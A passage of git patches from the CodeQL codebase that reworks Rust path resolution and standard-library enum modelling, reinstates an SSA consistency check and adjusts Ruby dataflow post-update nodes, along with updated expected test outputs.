v.getAPosition() } or TElementContent() or TFutureContent() or TTuplePositionContent(int pos) { diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index 60aa10016be..91af72fce4e 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -296,125 +296,6 @@ module LocalFlow { } } -/** - * Provides temporary modeling of built-in variants, for which no source code - * `Item`s are available. - * - * TODO: Remove once library code is extracted. - */ -module VariantInLib { - private import codeql.util.Option - - private class CrateOrigin extends string { - CrateOrigin() { this = any(Resolvable r).getResolvedCrateOrigin() } - } - - private class CrateOriginOption = Option::Option; - - private CrateOriginOption langCoreCrate() { result.asSome() = "lang:core" } - - private newtype TVariantInLib = - MkVariantInLib(CrateOriginOption crate, string path, string name) { - crate = langCoreCrate() and - ( - path = "crate::option::Option" and - name = "Some" - or - path = "crate::result::Result" and - name = ["Ok", "Err"] - ) - } - - /** An enum variant from library code, represented by the enum's canonical path and the variant's name. */ - class VariantInLib extends MkVariantInLib { - CrateOriginOption crate; - string path; - string name; - - VariantInLib() { this = MkVariantInLib(crate, path, name) } - - int getAPosition() { - this = MkVariantInLib(langCoreCrate(), "crate::option::Option", "Some") and - result = 0 - or - this = MkVariantInLib(langCoreCrate(), "crate::result::Result", ["Ok", "Err"]) and - result = 0 - } - - string getExtendedCanonicalPath() { result = path + "::" + name } - - string toString() { result = name } - } - - /** A tuple variant from library code. */ - class VariantInLibTupleFieldContent extends Content, TVariantInLibTupleFieldContent { - private VariantInLib::VariantInLib v; - private int pos_; - - VariantInLibTupleFieldContent() { this = TVariantInLibTupleFieldContent(v, pos_) } - - VariantInLib::VariantInLib getVariantInLib(int pos) { result = v and pos = pos_ } - - string getExtendedCanonicalPath() { result = v.getExtendedCanonicalPath() } - - int getPosition() { result = pos_ } - - final override string toString() { - // only print indices when the arity is > 1 - if exists(TVariantInLibTupleFieldContent(v, 1)) - then result = v.toString() + "(" + pos_ + ")" - else result = v.toString() - } - - final override Location getLocation() { result instanceof EmptyLocation } - } - - pragma[nomagic] - private predicate resolveExtendedCanonicalPath(Resolvable r, CrateOriginOption crate, string path) { - path = r.getResolvedPath() and - ( - crate.asSome() = r.getResolvedCrateOrigin() - or - crate.isNone() and - not r.hasResolvedCrateOrigin() - ) - } - - /** Holds if path `p` resolves to variant `v`. */ - private predicate pathResolveToVariantInLib(PathAstNode p, VariantInLib v) { - exists(CrateOriginOption crate, string path, string name | - resolveExtendedCanonicalPath(p, pragma[only_bind_into](crate), path + "::" + name) and - v = MkVariantInLib(pragma[only_bind_into](crate), path, name) - ) - } - - /** Holds if `p` destructs an enum variant `v`. */ - pragma[nomagic] - private predicate tupleVariantCanonicalDestruction(TupleStructPat p, VariantInLib v) { - pathResolveToVariantInLib(p, v) - } - - bindingset[pos] - predicate tupleVariantCanonicalDestruction( - TupleStructPat pat, VariantInLibTupleFieldContent c, int pos - ) { - tupleVariantCanonicalDestruction(pat, c.getVariantInLib(pos)) - } - - /** Holds if `ce` constructs an enum value of type `v`. */ - pragma[nomagic] - private predicate tupleVariantCanonicalConstruction(CallExpr ce, VariantInLib v) { - pathResolveToVariantInLib(ce.getFunction().(PathExpr), v) - } - - bindingset[pos] - predicate tupleVariantCanonicalConstruction(CallExpr ce, VariantInLibTupleFieldContent c, int pos) { - tupleVariantCanonicalConstruction(ce, c.getVariantInLib(pos)) - } -} - -class VariantInLibTupleFieldContent = VariantInLib::VariantInLibTupleFieldContent; - class LambdaCallKind = Unit; /** Holds if `creation` is an expression that creates a lambda of kind `kind`. */ @@ -480,6 +361,7 @@ module RustDataFlow implements InputSig { private import Aliases private import codeql.rust.dataflow.DataFlow private import Node as Node + private import codeql.rust.frameworks.stdlib.Stdlib /** * An element, viewed as a node in a data flow graph. Either an expression @@ -665,11 +547,8 @@ module RustDataFlow implements InputSig { exists(Content c | c = cs.(SingletonContentSet).getContent() | exists(TupleStructPatCfgNode pat, int pos | pat = node1.asPat() and - node2.asPat() = pat.getField(pos) - | + node2.asPat() = pat.getField(pos) and c = TTupleFieldContent(pat.getTupleStructPat().getTupleField(pos)) - or - VariantInLib::tupleVariantCanonicalDestruction(pat.getPat(), c, pos) ) or exists(TuplePatCfgNode pat, int pos | @@ -714,8 +593,8 @@ module RustDataFlow implements InputSig { exists(TryExprCfgNode try | node1.asExpr() = try.getExpr() and node2.asExpr() = try and - c.(VariantInLibTupleFieldContent).getVariantInLib(0).getExtendedCanonicalPath() = - ["crate::option::Option::Some", "crate::result::Result::Ok"] + c.(TupleFieldContent) + .isVariantField([any(OptionEnum o).getSome(), any(ResultEnum r).getOk()], 0) ) or exists(PrefixExprCfgNode deref | @@ -791,11 +670,8 @@ module RustDataFlow implements InputSig { private predicate storeContentStep(Node node1, Content c, Node node2) { exists(CallExprCfgNode call, int pos | node1.asExpr() = call.getArgument(pragma[only_bind_into](pos)) and - node2.asExpr() = call - | + node2.asExpr() = call and c = TTupleFieldContent(call.getCallExpr().getTupleField(pragma[only_bind_into](pos))) - or - VariantInLib::tupleVariantCanonicalConstruction(call.getCallExpr(), c, pos) ) or exists(StructExprCfgNode re, string field | diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll index e1cf87397b9..62cc47dfc0d 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll @@ -11,6 +11,7 @@ private import Content module Input implements InputSig { private import codeql.rust.elements.internal.CallExprBaseImpl::Impl as CallExprBaseImpl + private import codeql.rust.frameworks.stdlib.Stdlib class SummarizedCallableBase = string; @@ -66,9 +67,20 @@ module Input implements InputSig { exists(Content c | cs = TSingletonContentSet(c) | result = "Field" and ( - exists(Addressable a, int pos | + exists(Addressable a, int pos, string prefix | // TODO: calculate in QL - arg = a.getExtendedCanonicalPath() + "(" + pos + ")" + arg = prefix + "(" + pos + ")" and + ( + prefix = a.getExtendedCanonicalPath() + or + a = any(OptionEnum o).getSome() and + prefix = "crate::option::Option::Some" + or + exists(string name | + a = any(ResultEnum r).getVariant(name) and + prefix = "crate::result::Result::" + name + ) + ) | c.(TupleFieldContent).isStructField(a, pos) or @@ -84,11 +96,6 @@ module Input implements InputSig { c.(StructFieldContent).isVariantField(a, field) ) or - c = - any(VariantInLibTupleFieldContent v | - arg = v.getExtendedCanonicalPath() + "(" + v.getPosition() + ")" - ) - or exists(int pos | c = TTuplePositionContent(pos) and arg = pos.toString() diff --git a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll index a298aa7319f..39663b6a0e0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll @@ -11,6 +11,8 @@ private import codeql.rust.elements.internal.generated.Enum * be referenced directly. */ module Impl { + private import rust + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A Enum. For example: @@ -20,5 +22,12 @@ module Impl { */ class Enum extends Generated::Enum { override string toStringImpl() { result = "enum " + this.getName().getText() } + + /** Gets the variant named `name`, if any. */ + pragma[nomagic] + Variant getVariant(string name) { + result = this.getVariantList().getAVariant() and + result.getName().getText() = name + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll index 92c6f25fbeb..f1450b17521 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll @@ -40,6 +40,18 @@ module Impl { */ pragma[nomagic] string getText() { result = this.getSegment().getIdentifier().getText() } + + /** + * Gets the full text of this path, including the qualifier. + * + * Should only be used for debugging purposes. + */ + string toStringDebug() { + not this.hasQualifier() and + result = this.getText() + or + result = this.getQualifier().toStringDebug() + "::" + this.getText() + } } /** A simple identifier path. */ diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index 9fc0e70833b..0ba90bc2e34 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -21,3 +21,48 @@ private class StartswithCall extends Path::SafeAccessCheck::Range, CfgNodes::Met branch = true } } + +/** + * The [`Option` enum][1]. + * + * [1]: https://doc.rust-lang.org/std/option/enum.Option.html + */ +class OptionEnum extends Enum { + OptionEnum() { + // todo: replace with canonical path, once calculated in QL + exists(Crate core, Module m | + core.getName() = "core" and + m = core.getModule().getItemList().getAnItem() and + m.getName().getText() = "option" and + this = m.getItemList().getAnItem() and + this.getName().getText() = "Option" + ) + } + + /** Gets the `Some` variant. */ + Variant getSome() { result = this.getVariant("Some") } +} + +/** + * The [`Result` enum][1]. + * + * [1]: https://doc.rust-lang.org/stable/std/result/enum.Result.html + */ +class ResultEnum extends Enum { + ResultEnum() { + // todo: replace with canonical path, once calculated in QL + exists(Crate core, Module m | + core.getName() = "core" and + m = core.getModule().getItemList().getAnItem() and + m.getName().getText() = "result" and + this = m.getItemList().getAnItem() and + this.getName().getText() = "Result" + ) + } + + /** Gets the `Ok` variant. */ + Variant getOk() { result = this.getVariant("Ok") } + + /** Gets the `Err` variant. */ + Variant getErr() { result = this.getVariant("Err") } +} diff --git a/rust/ql/lib/codeql/rust/internal/CachedStages.qll b/rust/ql/lib/codeql/rust/internal/CachedStages.qll index d9ad8e1fbc1..41e81919569 100644 --- a/rust/ql/lib/codeql/rust/internal/CachedStages.qll +++ b/rust/ql/lib/codeql/rust/internal/CachedStages.qll @@ -95,17 +95,48 @@ module Stages { } } + /** + * The path resolution stage. + */ + cached + module PathResolutionStage { + private import codeql.rust.internal.PathResolution + + /** + * Always holds. + * Ensures that a predicate is evaluated as part of the path resolution stage. + */ + cached + predicate ref() { 1 = 1 } + + /** + * DO NOT USE! + * + * Contains references to each predicate that use the above `ref` predicate. + */ + cached + predicate backref() { + 1 = 1 + or + exists(resolvePath(_)) + or + exists(any(ItemNode i).getASuccessor(_)) + or + exists(any(ItemNode i).getASuccessorRec(_)) + } + } + /** * The type inference stage. */ cached - module TypeInference { + module TypeInferenceStage { private import codeql.rust.internal.Type private import codeql.rust.internal.TypeInference /** * Always holds. - * Ensures that a predicate is evaluated as part of the CFG stage. + * Ensures that a predicate is evaluated as part of the type inference stage. */ cached predicate ref() { 1 = 1 } diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 27fa622ff70..e5a6763525e 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -4,6 +4,7 @@ private import rust private import codeql.rust.elements.internal.generated.ParentChild +private import codeql.rust.internal.CachedStages private newtype TNamespace = TTypeNamespace() or @@ -115,8 +116,9 @@ abstract class ItemNode extends Locatable { result = this.(SourceFileItemNode).getSuper() } - pragma[nomagic] + cached ItemNode getASuccessorRec(string name) { + Stages::PathResolutionStage::ref() and sourceFileEdge(this, name, result) or this = result.getImmediateParent() and @@ -171,10 +173,13 @@ abstract class ItemNode extends Locatable { } /** Gets a successor named `name` of this item, if any. */ - pragma[nomagic] + cached ItemNode getASuccessor(string name) { + Stages::PathResolutionStage::ref() and result = this.getASuccessorRec(name) or + preludeEdge(this, name, result) + or name = "super" and if this instanceof Module or this instanceof SourceFile then result = this.getImmediateParentModule() @@ -195,6 +200,16 @@ abstract class ItemNode extends Locatable { or this = crate.getModuleNode() ) + or + // todo: implement properly + name = "$crate" and + result = + any(CrateItemNode crate | + this = crate.getASourceFile() + or + this = crate.getModuleNode() + ).(Crate).getADependency*() and + result.(CrateItemNode).isPotentialDollarCrateTarget() } /** Gets the location of this item. */ @@ -214,6 +229,16 @@ abstract private class ModuleLikeNode extends ItemNode { not mid instanceof ModuleLikeNode ) } + + /** + * Holds if this is a root module, meaning either a source file or + * the entry module of a crate. + */ + predicate isRoot() { + this instanceof SourceFileItemNode + or + this = any(CrateItemNode c).getModuleNode() + } } private class SourceFileItemNode extends ModuleLikeNode, SourceFile { @@ -269,6 +294,14 @@ class CrateItemNode extends ItemNode instanceof Crate { ) } + pragma[nomagic] + predicate isPotentialDollarCrateTarget() { + exists(string name, RelevantPath p | + p.isDollarCrateQualifiedPath(name) and + exists(this.getASuccessor(name)) + ) + } + override string getName() { result = Crate.super.getName() } override Namespace getNamespace() { @@ -488,6 +521,7 @@ class TraitItemNode extends ImplOrTraitItemNode instanceof Trait { result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath() } + pragma[nomagic] ItemNode resolveABound() { result = resolvePath(this.getABoundPath()) } override AssocItemNode getAnAssocItem() { result = super.getAssocItemList().getAnAssocItem() } @@ -549,6 +583,7 @@ private class TypeParamItemNode extends ItemNode instanceof TypeParam { result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath() } + pragma[nomagic] ItemNode resolveABound() { result = resolvePath(this.getABoundPath()) } /** @@ -769,7 +804,7 @@ private predicate declares(ItemNode item, Namespace ns, string name) { } /** A path that does not access a local variable. */ -private class RelevantPath extends Path { +class RelevantPath extends Path { RelevantPath() { not this = any(VariableAccess va).(PathExpr).getPath() } pragma[nomagic] @@ -778,6 +813,19 @@ private class RelevantPath extends Path { not this = any(UseTreeList list).getAUseTree().getPath() and name = this.getText() } + + pragma[nomagic] + predicate isCratePath(string name, ItemNode encl) { + name = ["crate", "$crate"] and + this.isUnqualified(name) and + encl.getADescendant() = this + } + + pragma[nomagic] + predicate isDollarCrateQualifiedPath(string name) { + this.getQualifier().(RelevantPath).isCratePath("$crate", _) and + this.getText() = name + } } /** @@ -790,7 +838,8 @@ private predicate unqualifiedPathLookup(RelevantPath p, string name, Namespace n // lookup in the immediately enclosing item p.isUnqualified(name) and encl0.getADescendant() = p and - exists(ns) + exists(ns) and + not name = ["crate", "$crate"] or // lookup in an outer scope, but only if the item is not declared in inner scope exists(ItemNode mid | @@ -800,16 +849,12 @@ private predicate unqualifiedPathLookup(RelevantPath p, string name, Namespace n not ( name = "Self" and mid = any(ImplOrTraitItemNode i).getAnItemInSelfScope() - ) and - not ( - name = "crate" and - mid = any(CrateItemNode i).getASourceFile() ) | // nested modules do not have unqualified access to items from outer modules, - // except for items declared at top-level in the source file + // except for items declared at top-level in the root module if mid instanceof Module - then encl0.(SourceFileItemNode) = mid.getImmediateParent+() + then encl0 = mid.getImmediateParent+() and encl0.(ModuleLikeNode).isRoot() else encl0 = mid.getImmediateParent() ) | @@ -827,11 +872,29 @@ private ItemNode getASuccessor(ItemNode pred, string name, Namespace ns) { ns = result.getNamespace() } +private predicate isRoot(ItemNode root) { root.(ModuleLikeNode).isRoot() } + +private predicate hasCratePath(ItemNode i) { any(RelevantPath path).isCratePath(_, i) } + +private predicate hasChild(ItemNode parent, ItemNode child) { child.getImmediateParent() = parent } + +private predicate rootHasCratePathTc(ItemNode i1, ItemNode i2) = + doublyBoundedFastTC(hasChild/2, isRoot/1, hasCratePath/1)(i1, i2) + pragma[nomagic] private ItemNode unqualifiedPathLookup(RelevantPath path, Namespace ns) { exists(ItemNode encl, string name | - unqualifiedPathLookup(path, name, ns, encl) and - result = getASuccessor(encl, name, ns) + result = getASuccessor(encl, pragma[only_bind_into](name), ns) + | + unqualifiedPathLookup(path, name, ns, encl) + or + // For `($)crate`, jump directly to the root module + exists(ItemNode i | path.isCratePath(pragma[only_bind_into](name), i) | + encl.(ModuleLikeNode).isRoot() and + encl = i + or + rootHasCratePathTc(encl, i) + ) ) } @@ -1006,7 +1069,7 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { item = getASuccessor(used, name, ns) and // glob imports can be shadowed not declares(encl, ns, name) and - not name = ["super", "self", "Self", "crate"] + not name = ["super", "self", "Self", "$crate", "crate"] ) else ( item = used and @@ -1021,19 +1084,42 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { ) } +/** + * Holds if `i` is available inside `f` because it is reexported in [the prelude][1]. + * + * We don't yet have access to prelude information from the extractor, so for now + * we include all the preludes for Rust 2015, 2018, 2021, and 2024. + * + * [1]: https://doc.rust-lang.org/core/prelude/index.html + */ +private predicate preludeEdge(SourceFile f, string name, ItemNode i) { + exists(Crate core, ModuleItemNode mod, ModuleItemNode prelude, ModuleItemNode rust | + f = any(Crate c0 | core = c0.getDependency(_)).getASourceFile() and + core.getName() = "core" and + mod = core.getModule() and + prelude = mod.getASuccessorRec("prelude") and + rust = prelude.getASuccessorRec(["rust_2015", "rust_2018", "rust_2021", "rust_2024"]) and + i = rust.getASuccessorRec(name) and + not i instanceof Use + ) +} + /** Provides predicates for debugging the path resolution implementation. */ private module Debug { private Locatable getRelevantLocatable() { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and - filepath.matches("%/main.rs") and - startline = [1, 3] + filepath.matches("%/test_logging.rs") and + startline = 163 ) } - predicate debugUnqualifiedPathLookup(RelevantPath p, string name, Namespace ns, ItemNode encl) { + predicate debugUnqualifiedPathLookup( + RelevantPath p, string name, Namespace ns, ItemNode encl, string path + ) { p = getRelevantLocatable() and - unqualifiedPathLookup(p, name, ns, encl) + unqualifiedPathLookup(p, name, ns, encl) and + path = p.toStringDebug() } ItemNode debugResolvePath(RelevantPath path) { diff --git a/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll index 75d4ac8a6e8..a8f581aabdf 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll @@ -9,6 +9,8 @@ private import PathResolution query predicate multiplePathResolutions(Path p, ItemNode i) { p.fromSource() and i = resolvePath(p) and + // known limitation for `$crate` + not p.getQualifier*().(RelevantPath).isUnqualified("$crate") and // `use foo::bar` may use both a type `bar` and a value `bar` not p = any(UseTree use | @@ -19,7 +21,7 @@ query predicate multiplePathResolutions(Path p, ItemNode i) { } /** Holds if `call` has multiple static call targets including `target`. */ -query predicate multipleStaticCallTargets(CallExprBase call, Callable target) { +query predicate multipleMethodCallTargets(MethodCallExpr call, Callable target) { target = call.getStaticTarget() and strictcount(call.getStaticTarget()) > 1 } @@ -43,8 +45,8 @@ int getPathResolutionInconsistencyCounts(string type) { type = "Multiple path resolutions" and result = count(Path p | multiplePathResolutions(p, _) | p) or - type = "Multiple static call targets" and - result = count(CallExprBase call | multipleStaticCallTargets(call, _) | call) + type = "Multiple static method call targets" and + result = count(CallExprBase call | multipleMethodCallTargets(call, _) | call) or type = "Multiple record fields" and result = count(FieldExpr fe | multipleStructFields(fe, _) | fe) diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index ef311fae6c8..d6000c606be 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -8,7 +8,7 @@ private import codeql.rust.internal.CachedStages cached newtype TType = - TStruct(Struct s) { Stages::TypeInference::ref() } or + TStruct(Struct s) { Stages::TypeInferenceStage::ref() } or TEnum(Enum e) or TTrait(Trait t) or TImpl(Impl i) or diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index ed6370f1638..48fd159fc2b 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -993,7 +993,7 @@ private module Cached { */ cached Type inferType(AstNode n, TypePath path) { - Stages::TypeInference::backref() and + Stages::TypeInferenceStage::ref() and result = inferAnnotatedType(n, path) or result = inferTypeEquality(n, path) diff --git a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected index 2c09f55800f..fbc771e8851 100644 --- a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,3 @@ -multipleStaticCallTargets +multipleMethodCallTargets | regular.rs:29:5:29:9 | s.g() | anonymous.rs:15:9:15:22 | fn g | | regular.rs:29:5:29:9 | s.g() | regular.rs:13:5:13:18 | fn g | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected index e66b1b5ee2e..849d19acbf0 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,3 @@ -multipleStaticCallTargets +multipleMethodCallTargets | regular.rs:32:5:32:9 | s.g() | anonymous.rs:18:9:18:22 | fn g | | regular.rs:32:5:32:9 | s.g() | regular.rs:16:5:16:18 | fn g | diff --git a/rust/ql/test/library-tests/path-resolution/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/path-resolution/CONSISTENCY/PathResolutionConsistency.expected index fa8dd32840b..9d4e175192b 100644 --- a/rust/ql/test/library-tests/path-resolution/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/path-resolution/CONSISTENCY/PathResolutionConsistency.expected @@ -1,6 +1,3 @@ multiplePathResolutions | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | -multipleStaticCallTargets -| main.rs:118:9:118:11 | f(...) | main.rs:104:5:106:5 | fn f | -| main.rs:118:9:118:11 | f(...) | main.rs:110:5:112:5 | fn f | diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql index e8aebeaa0ef..4fdcf39c6c6 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql @@ -5,4 +5,6 @@ import TestUtils query predicate mod(Module m) { toBeTested(m) } -query predicate resolvePath(Path p, ItemNode i) { toBeTested(p) and i = resolvePath(p) } +query predicate resolvePath(Path p, ItemNode i) { + toBeTested(p) and not p.isInMacroExpansion() and i = resolvePath(p) +} diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected index d34cd849069..13cbcbdf4ef 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 8 | | Macro calls - total | 9 | | Macro calls - unresolved | 1 | -| Taint edges - number of edges | 1674 | +| Taint edges - number of edges | 1691 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | From ce19972aeff42c93b9594897831e1d7b99b4dc8c Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 3 Apr 2025 16:16:20 +0200 Subject: [PATCH 273/282] SSA: Reinstate consistency check. --- shared/ssa/codeql/ssa/Ssa.qll | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index dab99df65b4..5a18d128ab6 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1408,6 +1408,18 @@ module Make Input> { not uncertainWriteDefinitionInput(_, def) } + /** Holds if a read is not dominated by a definition. */ + query predicate notDominatedByDef(Definition def, SourceVariable v, BasicBlock bb, int i) { + exists(BasicBlock bbDef, int iDef | def.definesAt(v, bbDef, iDef) | + SsaDefReachesNew::ssaDefReachesReadWithinBlock(v, def, bb, i) and + (bb != bbDef or i < iDef) + or + ssaDefReachesRead(v, def, bb, i) and + not SsaDefReachesNew::ssaDefReachesReadWithinBlock(v, def, bb, i) and + not def.definesAt(v, getImmediateBasicBlockDominator*(bb), _) + ) + } + /** Holds if the end of a basic block can be reached by multiple definitions. */ query predicate nonUniqueDefReachesEndOfBlock(Definition def, SourceVariable v, BasicBlock bb) { ssaDefReachesEndOfBlock(bb, def, v) and From 15bfeab65267eb6637e7536880a4ef33d80dfd7b Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 26 Mar 2025 09:36:15 +0100 Subject: [PATCH 274/282] Ruby: Make `getPreUpdateNode` Unique Again --- .../DataFlowConsistency.ql | 24 ++----- .../dataflow/internal/DataFlowPrivate.qll | 40 ++++++----- .../dataflow/global/Flow.expected | 66 ++++++++----------- .../dataflow/local/DataflowStep.expected | 2 + .../dataflow/local/TaintStep.expected | 2 + 5 files changed, 62 insertions(+), 72 deletions(-) diff --git a/ruby/ql/consistency-queries/DataFlowConsistency.ql b/ruby/ql/consistency-queries/DataFlowConsistency.ql index 86350eba192..24766016cbb 100644 --- a/ruby/ql/consistency-queries/DataFlowConsistency.ql +++ b/ruby/ql/consistency-queries/DataFlowConsistency.ql @@ -8,30 +8,18 @@ private import codeql.dataflow.internal.DataFlowImplConsistency private module Input implements InputSig { private import RubyDataFlow - predicate postWithInFlowExclude(Node n) { n instanceof FlowSummaryNode } + predicate postWithInFlowExclude(Node n) { + n instanceof FlowSummaryNode + or + n.(PostUpdateNode).getPreUpdateNode().asExpr() = getPostUpdateReverseStep(_) + } predicate argHasPostUpdateExclude(ArgumentNode n) { n instanceof FlowSummaryNode or n instanceof SynthHashSplatArgumentNode or - not isNonConstantExpr(getAPostUpdateNodeForArg(n.asExpr())) - } - - predicate postHasUniquePreExclude(PostUpdateNode n) { - exists(CfgNodes::ExprCfgNode e, CfgNodes::ExprCfgNode arg | - e = getAPostUpdateNodeForArg(arg) and - e != arg and - n = TExprPostUpdateNode(e) - ) - } - - predicate uniquePostUpdateExclude(Node n) { - exists(CfgNodes::ExprCfgNode e, CfgNodes::ExprCfgNode arg | - e = getAPostUpdateNodeForArg(arg) and - e != arg and - n.asExpr() = arg - ) + not isNonConstantExpr(n.asExpr()) } predicate multipleArgumentCallExclude(ArgumentNode arg, DataFlowCall call) { diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll index da0c0379717..bd1b0c4b8c8 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll @@ -66,10 +66,22 @@ private CfgNodes::ExprCfgNode getALastEvalNode(CfgNodes::ExprCfgNode n) { ) } -/** Gets a node for which to construct a post-update node for argument `arg`. */ -CfgNodes::ExprCfgNode getAPostUpdateNodeForArg(Argument arg) { - result = getALastEvalNode*(arg) and - not exists(getALastEvalNode(result)) +/** + * Holds if a reverse local flow step should be added from the post-update node + * for `e` to the post-update node for the result. + * + * This is needed to allow for side-effects on compound expressions to propagate + * to sub components. For example, in + * + * ```ruby + * (foo1; foo2).set_field(taint) + * ``` + * + * we add a reverse flow step from `[post] (foo1; foo2)` to `[post] foo2`, + * in order for the side-effect of `set_field` to reach `foo2`. + */ +CfgNodes::ExprCfgNode getPostUpdateReverseStep(CfgNodes::ExprCfgNode e) { + result = getALastEvalNode(e) } /** Gets the SSA definition node corresponding to parameter `p`. */ @@ -170,6 +182,9 @@ module LocalFlow { ) or nodeTo.(ImplicitBlockArgumentNode).getParameterNode(true) = nodeFrom + or + nodeTo.(PostUpdateNode).getPreUpdateNode().asExpr() = + getPostUpdateReverseStep(nodeFrom.(PostUpdateNode).getPreUpdateNode().asExpr()) } predicate flowSummaryLocalStep( @@ -486,7 +501,9 @@ private module Cached { // filter out nodes that clearly don't need post-update nodes isNonConstantExpr(n) and ( - n = getAPostUpdateNodeForArg(_) + n instanceof Argument + or + n = getPostUpdateReverseStep(any(PostUpdateNode p).getPreUpdateNode().asExpr()) or n = any(CfgNodes::ExprNodes::InstanceVariableAccessCfgNode v).getReceiver() ) @@ -2018,18 +2035,7 @@ private module PostUpdateNodes { ExprPostUpdateNode() { this = TExprPostUpdateNode(e) } - override ExprNode getPreUpdateNode() { - // For compound arguments, such as `m(if b then x else y)`, we want the leaf nodes - // `[post] x` and `[post] y` to have two pre-update nodes: (1) the compound argument, - // `if b then x else y`; and the (2) the underlying expressions; `x` and `y`, - // respectively. - // - // This ensures that we get flow out of the call into both leafs (1), while still - // maintaining the invariant that the underlying expression is a pre-update node (2). - e = getAPostUpdateNodeForArg(result.getExprNode()) - or - e = result.getExprNode() - } + override ExprNode getPreUpdateNode() { e = result.getExprNode() } override CfgScope getCfgScope() { result = e.getExpr().getCfgScope() } diff --git a/ruby/ql/test/library-tests/dataflow/global/Flow.expected b/ruby/ql/test/library-tests/dataflow/global/Flow.expected index 4ef28f2728a..f320bf8f5e9 100644 --- a/ruby/ql/test/library-tests/dataflow/global/Flow.expected +++ b/ruby/ql/test/library-tests/dataflow/global/Flow.expected @@ -197,18 +197,18 @@ edges | instance_variables.rb:70:16:70:24 | call to taint | instance_variables.rb:10:19:10:19 | x | 